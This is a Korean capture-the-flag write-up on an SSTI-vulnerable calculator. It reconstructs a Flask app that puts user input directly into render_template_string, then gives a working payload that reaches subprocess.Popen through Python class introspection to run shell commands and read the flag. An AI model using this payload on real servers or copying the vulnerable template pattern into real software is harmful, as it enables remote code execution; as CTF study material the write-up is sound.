


간단한 계산기 프로그램이다. 여러 값을 넣고 테스트 한 결과는 아래와 같다.
SSTI (Server Side Template Injection) 취약점이 있는것으로 확인되며, {{ }} ${ } <%= %>와 같은 구문 없이 바로 적용됨을 알 수 있다. 아래와 코드 같이 중첩괄호를 사용한 환경을 예상해본다.
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
expression = request.args.get('expression', '')
template = f"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SSTI Vulnerable Page</title>
</head>
<body>
<h1>SSTI Vulnerable Calculator</h1>
<form method="GET" action="/">
<label for="expression">Enter a calculation:</label>
<input type="text" id="expression" name="expression" />
<button type="submit">Calculate</button>
</form>
<h2>Output:</h2>
<p>{{{{ {expression} }}}}</p>
</body>
</html>
"""
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True)
SSTI를 이용한 RCE (Remote Code Execution) 공격을 수행하였다. 이를 위해선 프로세스 생성과 처리를 담당하는 subprocess.Popen 클래스를 이용해야 한다.
위 문제의 경우 ''.__class__.__mro__[1].__subclasses__()[213] 에 위치해 있음을 확인하였다.
''.__class__.__mro__[1].__subclasses__()[213](request.form.get('shell'),stdout=-1,shell=True).communicate()
Burp Suite 프로그램을 이용하여 POST 요청 속 shell 을 추가하여 해당 디렉터리 탐색을 하였다. flag 파일이 발견되었고 이를 읽으며 문제를 해결하였다.

SSTI 와 RCE 연계 공격을 시험하기 아주 적절한 환경이었다. 기본적인 개념만 잘 안다면 손쉽게 풀 수 있는 문제다.